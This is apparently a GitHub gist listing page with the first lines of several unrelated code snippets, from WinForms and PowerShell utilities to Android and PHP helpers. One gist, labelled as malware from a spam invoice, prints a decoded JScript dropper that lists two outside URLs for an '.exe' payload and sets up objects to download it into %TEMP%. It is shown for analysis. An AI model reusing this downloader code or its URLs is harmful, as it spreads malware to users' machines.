Skip to content

Instantly share code, notes, and snippets.

View vaibhavpandeyvpz's full-sized avatar
🐢
I may be slow to respond.

Vaibhav Pandey vaibhavpandeyvpz

🐢
I may be slow to respond.
View GitHub Profile
@vaibhavpandeyvpz
vaibhavpandeyvpz / blocker.cs
Last active May 12, 2018 21:04
Blocking User Interaction in WinForms (C#)
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace VPZ.Security
{
@altu
altu / gist:0ba467c4f42e19645e8e
Created June 25, 2015 12:54
PowerShell function for updating the VDProj's version information
function Update-vdproj-version([version] $ver, [string] $filename) {
$productCodePattern = '\"ProductCode\" = \"8\:{([\d\w-]+)}\"'
$packageCodePattern = '\"PackageCode\" = \"8\:{([\d\w-]+)}\"'
$productVersionPattern = '\"ProductVersion\" = \"8\:[0-9]+(\.([0-9]+)){1,3}\"'
$productCode = '"ProductCode" = "8:{' + [guid]::NewGuid().ToString().ToUpper() + '}"'
$packageCode = '"PackageCode" = "8:{' + [guid]::NewGuid().ToString().ToUpper() + '}"'
$productVersion = '"ProductVersion" = "8:' + $ver.ToString(3) + '"'
(Get-Content $filename) | ForEach-Object {
% {$_ -replace $productCodePattern, $productCode } |
@vaibhavpandeyvpz
vaibhavpandeyvpz / invoice_copy_Bqa6Ci.decoded.js
Created February 16, 2016 12:47
***SPAM*** Invoice #34069680 [Malware]
(function() {
var urls = [
'http://wherareyoufromff.com/25.exe',
'http://arendroukysdqq.com/25.exe'
];
var shell = WScript.CreateObject('WScript.Shell');
var xmlhttp = WScript.CreateObject('MSXML2.XMLHTTP');
var stream = WScript.CreateObject('ADODB.Stream');
var tmp = shell.ExpandEnvironmentStrings('%TEMP%\\');
var file = tmp + 4194304 + '.exe';
@nesquena
nesquena / PatternEditableBuilder.java
Last active October 21, 2022 10:20
PatternEditableBuilder - Easy way to create colored clickable spans within a TextView!
import android.text.SpannableStringBuilder;
import android.text.Spanned;
import android.text.TextPaint;
import android.text.method.LinkMovementMethod;
import android.text.style.ClickableSpan;
import android.view.View;
import android.widget.TextView;
import java.util.ArrayList;
import java.util.regex.Matcher;
@vaibhavpandeyvpz
vaibhavpandeyvpz / mosquitto_pw.php
Created August 3, 2016 13:51
Function in PHP for hashing passwords to be compatible with Mosquitto MQTT broker
<?php
/**
* @param string $plain
* @param string $algo
* @param int $iterations
* @param int $saltlen
* @param int $keylen
* @return string
*/
@jherax
jherax / is-private-mode.js
Last active March 19, 2024 18:29
Detect if the browser is running in Private mode - Promise based (last update: Feb 2020)
/**
* Lightweight script to detect whether the browser is running in Private mode.
* @returns {Promise<boolean>}
*
* Live demo:
* @see https://output.jsbin.com/tazuwif
*
* This snippet uses Promises. If you want to run it in old browsers, polyfill it:
* @see https://cdn.jsdelivr.net/npm/es6-promise@4/dist/es6-promise.auto.min.js
*
@ttilberg
ttilberg / converter.rb
Last active July 5, 2023 08:24
Utilities to unobfuscate a certain class of js files.
require 'net/http'
require 'json'
require 'uri'
require 'yaml'
##
# Make a certain obfuscated js less obnoxious to analyze.
#
class Obfuscated
attr_accessor :script
#include <ESP8266WiFi.h>
int PIN_N = 15; // pin on which LED is connected
int PIN_MODE = LOW;
int SERIAL_BAUD = 115200;
const char* WIFI_SSID = "ESP8266"; // your WiFi SSID
const char* WIFI_PASSWORD = "nodemcutest"; // your WiFi password
@ArsalRaza
ArsalRaza / VideoUtils.java
Last active January 25, 2024 11:39
Extract Audio from Video, Mute Video, Crop Video from start, Crop Video from end Android MediaMuxer - JAVA
import android.annotation.SuppressLint;
import android.media.MediaCodec;
import android.media.MediaExtractor;
import android.media.MediaFormat;
import android.media.MediaMetadataRetriever;
import android.media.MediaMuxer;
import android.util.Log;
import java.io.IOException;
import java.nio.ByteBuffer;